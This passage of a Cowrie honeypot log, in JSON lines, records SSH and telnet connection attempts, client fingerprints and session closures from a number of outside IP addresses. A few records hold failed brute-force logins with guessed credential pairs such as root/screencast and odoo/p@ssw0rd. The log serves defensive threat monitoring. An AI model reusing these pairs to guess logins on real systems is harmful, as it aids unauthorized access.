14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:59.194905Z","src_ip":"193.24.211.95","session":"d037faf81689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"screencast","message":"login attempt [root/screencast] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:59.621285Z","src_ip":"193.24.211.95","session":"d037faf81689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:00.731427Z","src_ip":"193.24.211.95","session":"d037faf81689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47576,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe5206d0dc66","protocol":"telnet","message":"New connection: 188.208.141.113:47576 (10.17.0.5:23) [session: fe5206d0dc66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:01.704799Z"}
{"eventid":"cowrie.session.closed","duration":38.9674015045166,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:02.434204Z","src_ip":"188.208.141.113","session":"a5b2e345d593","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00148487091064,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:05.552601Z","src_ip":"162.219.178.250","session":"99e68e6a749b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47578,"dst_ip":"10.17.0.5","dst_port":23,"session":"52a94c4e2e83","protocol":"telnet","message":"New connection: 188.208.141.113:47578 (10.17.0.5:23) [session: 52a94c4e2e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:06.762938Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":39936,"dst_ip":"159.203.135.109","dst_port":22,"session":"4de59d24bb02","protocol":"ssh","message":"New connection: 103.170.173.26:39936 (159.203.135.109:22) [session: 4de59d24bb02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:07.822091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:07.826656Z","src_ip":"103.170.173.26","session":"4de59d24bb02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:08.097931Z","src_ip":"103.170.173.26","session":"4de59d24bb02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.57351779937744,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:08.223683Z","src_ip":"206.189.32.23","session":"148149ed16be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00185036659241,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:08.366955Z","src_ip":"162.219.178.250","session":"6bfbab18bfb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00099587440491,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:08.656137Z","src_ip":"162.219.178.250","session":"635ee43ba16f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"p@ssw0rd","message":"login attempt [odoo/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:09.217051Z","src_ip":"103.170.173.26","session":"4de59d24bb02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:10.490192Z","src_ip":"103.170.173.26","session":"4de59d24bb02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56868,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e5bc96bc555","protocol":"telnet","message":"New connection: 188.208.141.113:56868 (10.17.0.5:23) [session: 5e5bc96bc555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:11.153472Z"}
{"eventid":"cowrie.session.closed","duration":6.905406951904297,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:13.668220Z","src_ip":"188.208.141.113","session":"52a94c4e2e83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00153136253357,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:16.780941Z","src_ip":"162.219.178.250","session":"b0da464ddec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":52286,"dst_ip":"159.203.135.109","dst_port":22,"session":"4460c03c1d93","protocol":"ssh","message":"New connection: 45.148.10.121:52286 (159.203.135.109:22) [session: 4460c03c1d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:17.638739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:17.643865Z","src_ip":"45.148.10.121","session":"4460c03c1d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:17.731931Z","src_ip":"45.148.10.121","session":"4460c03c1d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.876057147979736,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:18.964761Z","src_ip":"162.55.233.176","session":"3b0a8a873ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56880,"dst_ip":"10.17.0.5","dst_port":23,"session":"71ea17998aa6","protocol":"telnet","message":"New connection: 188.208.141.113:56880 (10.17.0.5:23) [session: 71ea17998aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:21.018249Z"}
{"eventid":"cowrie.session.closed","duration":43.237141132354736,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:21.340769Z","src_ip":"206.189.32.23","session":"48644a892357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.38688373565674,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:21.722456Z","src_ip":"188.208.141.113","session":"b165d10b663b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33408,"dst_ip":"10.17.0.5","dst_port":23,"session":"d599bc104cff","protocol":"telnet","message":"New connection: 206.189.32.23:33408 (10.17.0.5:23) [session: d599bc104cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:22.524009Z"}
{"eventid":"cowrie.session.closed","duration":120.00171971321106,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:22.594213Z","src_ip":"162.219.178.250","session":"71995890f1ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.975258588790894,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:22.730675Z","src_ip":"188.208.141.113","session":"954b3a8e43c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00112318992615,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:23.182110Z","src_ip":"162.219.178.250","session":"b7382012d982","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44328,"dst_ip":"10.17.0.5","dst_port":23,"session":"127a56548a0f","protocol":"telnet","message":"New connection: 188.208.141.113:44328 (10.17.0.5:23) [session: 127a56548a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:24.660549Z"}
{"eventid":"cowrie.session.closed","duration":4.426290512084961,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:25.444438Z","src_ip":"188.208.141.113","session":"71ea17998aa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.799372911453247,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:26.323253Z","src_ip":"206.189.32.23","session":"d599bc104cff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44330,"dst_ip":"10.17.0.5","dst_port":23,"session":"311a1de0a19e","protocol":"telnet","message":"New connection: 188.208.141.113:44330 (10.17.0.5:23) [session: 311a1de0a19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:27.167579Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44334,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa8a9efc3b29","protocol":"telnet","message":"New connection: 188.208.141.113:44334 (10.17.0.5:23) [session: fa8a9efc3b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:27.655185Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44340,"dst_ip":"10.17.0.5","dst_port":23,"session":"f29c214a4dd6","protocol":"telnet","message":"New connection: 188.208.141.113:44340 (10.17.0.5:23) [session: f29c214a4dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:29.937499Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35326,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c633a3adeaf","protocol":"telnet","message":"New connection: 206.189.32.23:35326 (10.17.0.5:23) [session: 9c633a3adeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:31.568191Z"}
{"eventid":"cowrie.session.closed","duration":2.532698631286621,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:34.100732Z","src_ip":"206.189.32.23","session":"9c633a3adeaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.72018837928772,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:42.424853Z","src_ip":"188.208.141.113","session":"fe5206d0dc66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0020341873169,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:44.227300Z","src_ip":"162.219.178.250","session":"dd9265aab47d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41946,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfca13a21e7b","protocol":"telnet","message":"New connection: 188.208.141.113:41946 (10.17.0.5:23) [session: dfca13a21e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:44.698411Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41956,"dst_ip":"10.17.0.5","dst_port":23,"session":"74615858aa6e","protocol":"telnet","message":"New connection: 188.208.141.113:41956 (10.17.0.5:23) [session: 74615858aa6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:47.998034Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41966,"dst_ip":"10.17.0.5","dst_port":23,"session":"72b6d3e47e36","protocol":"telnet","message":"New connection: 188.208.141.113:41966 (10.17.0.5:23) [session: 72b6d3e47e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:49.977718Z"}
{"eventid":"cowrie.session.closed","duration":44.277825355529785,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:55.431123Z","src_ip":"188.208.141.113","session":"5e5bc96bc555","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.7365448474884,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:42:55.997247Z","src_ip":"188.208.141.113","session":"7744891fc6b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.4955108165741,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:02.155929Z","src_ip":"188.208.141.113","session":"127a56548a0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.80781698226929,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:02.462927Z","src_ip":"188.208.141.113","session":"fa8a9efc3b29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.8050754070282,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:02.972538Z","src_ip":"188.208.141.113","session":"311a1de0a19e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"70.23.177.50","src_port":52994,"dst_ip":"10.17.0.5","dst_port":23,"session":"264e6221648e","protocol":"telnet","message":"New connection: 70.23.177.50:52994 (10.17.0.5:23) [session: 264e6221648e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:03.359342Z"}
{"eventid":"cowrie.session.closed","duration":3.4518895149230957,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:06.811098Z","src_ip":"70.23.177.50","session":"264e6221648e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38592,"dst_ip":"10.17.0.5","dst_port":23,"session":"59e360b647b3","protocol":"telnet","message":"New connection: 188.208.141.113:38592 (10.17.0.5:23) [session: 59e360b647b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:08.878925Z"}
{"eventid":"cowrie.session.closed","duration":4.062754154205322,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:12.941580Z","src_ip":"188.208.141.113","session":"59e360b647b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":32966,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e79962a2493","protocol":"telnet","message":"New connection: 188.208.141.113:32966 (10.17.0.5:23) [session: 0e79962a2493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:13.290725Z"}
{"eventid":"cowrie.session.closed","duration":43.5826141834259,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:13.519909Z","src_ip":"188.208.141.113","session":"f29c214a4dd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":60294,"dst_ip":"10.17.0.5","dst_port":23,"session":"67fc954a2988","protocol":"telnet","message":"New connection: 206.189.32.23:60294 (10.17.0.5:23) [session: 67fc954a2988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:16.268663Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":32968,"dst_ip":"10.17.0.5","dst_port":23,"session":"28d7e8ad1872","protocol":"telnet","message":"New connection: 188.208.141.113:32968 (10.17.0.5:23) [session: 28d7e8ad1872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:18.533326Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":50928,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8d0b4d8008f","protocol":"ssh","message":"New connection: 213.209.159.158:50928 (10.17.0.5:22) [session: a8d0b4d8008f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:20.200781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:22.405988Z","src_ip":"213.209.159.158","session":"a8d0b4d8008f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:22.409224Z","src_ip":"213.209.159.158","session":"a8d0b4d8008f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52764,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5943562a348","protocol":"telnet","message":"New connection: 206.189.32.23:52764 (10.17.0.5:23) [session: c5943562a348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:24.474316Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.246.5.108","src_port":45448,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7c3e455fe67","protocol":"telnet","message":"New connection: 187.246.5.108:45448 (159.203.135.109:23) [session: a7c3e455fe67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:25.205497Z"}
{"eventid":"cowrie.session.closed","duration":43.1886031627655,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:27.886873Z","src_ip":"188.208.141.113","session":"dfca13a21e7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37364,"dst_ip":"10.17.0.5","dst_port":23,"session":"cafa1ddb5387","protocol":"telnet","message":"New connection: 188.208.141.113:37364 (10.17.0.5:23) [session: cafa1ddb5387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:27.989056Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37376,"dst_ip":"10.17.0.5","dst_port":23,"session":"da15eb8a16bc","protocol":"telnet","message":"New connection: 188.208.141.113:37376 (10.17.0.5:23) [session: da15eb8a16bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:28.660217Z"}
{"eventid":"cowrie.session.closed","duration":39.504637479782104,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:29.482226Z","src_ip":"188.208.141.113","session":"72b6d3e47e36","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vvcdn2023","message":"login attempt [root/Vvcdn2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:31.402343Z","src_ip":"213.209.159.158","session":"a8d0b4d8008f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48922,"dst_ip":"10.17.0.5","dst_port":23,"session":"32f15d9c422f","protocol":"telnet","message":"New connection: 206.189.32.23:48922 (10.17.0.5:23) [session: 32f15d9c422f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:32.552437Z"}
{"eventid":"cowrie.session.closed","duration":5.970998048782349,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:33.959959Z","src_ip":"188.208.141.113","session":"cafa1ddb5387","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:34.843400Z","src_ip":"213.209.159.158","session":"a8d0b4d8008f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27482,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2f82719d9db","protocol":"ssh","message":"New connection: 213.209.159.158:27482 (10.17.0.5:22) [session: e2f82719d9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:34.992471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:37.057196Z","src_ip":"213.209.159.158","session":"e2f82719d9db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256"